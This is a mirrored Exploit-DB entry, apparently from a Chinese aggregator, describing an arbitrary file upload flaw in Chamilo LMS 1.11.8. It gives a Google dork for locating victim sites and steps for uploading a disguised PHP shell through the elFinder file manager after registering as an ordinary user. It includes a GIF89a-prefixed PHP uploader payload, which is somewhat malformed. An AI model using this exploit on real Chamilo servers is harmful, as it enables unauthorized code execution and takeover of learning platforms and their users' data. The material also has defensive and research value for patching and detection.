Chamillo LMS 1.11.8 – Arbitrary File Upload - 体验盒子

作者： Sohel Yousef

日期： 2019-09-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47423/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload

# Google Dork: "powered by chamilo"

# Date: 2018-10-05

# Exploit Author: Sohel Yousef jellyfish security team

# Software Link: https://chamilo.org/en/download/

# Version: Chamilo 1.11.8 or lower to 1.8

# Category: webapps

# 1. Description

# Any registered user can upload files and rename and change the file type to

# php5 or php7 by ckeditor module in my files section

# register here :

# http://localhost/chamilo//main/auth/inscription.php

# after registration you can view this sections

# http://localhost/chamilo/main/social/myfiles.php

# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0

# upload your shell in gif format and then rename the format

# if the rename function was desabled and add thisGIF89;aGIF89;aGIF89;a before <?PHP

# to be like this for examlple

GIF89;aGIF89;aGIF89;a<html>

<head>

</form>

</head>

<body>

<?php echo '<p>FILE UPLOAD</p><br>';

$tgt_dir = "uploads/";

$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);

echo "<br>TARGET FILE= ".$tgt_file;

//$filename = $_FILES['fileToUpload']['name'];

echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];

if(isset($_POST['submit']))

{

if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))

{ echo "<br>file exists, try with another name"; }

else {

echo "<br>STARTING UPLOAD PROCESS<br>";

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],

$tgt_file))

{ echo "<br>File UPLOADED:- ".$tgt_file; }

else{ echo "<br>ERROR WHILE UPLOADING FILE<br>"; }

}

?>

</body>

</html>

# and uplaod it as php.gif

# you can browse the files form right click and click on browse option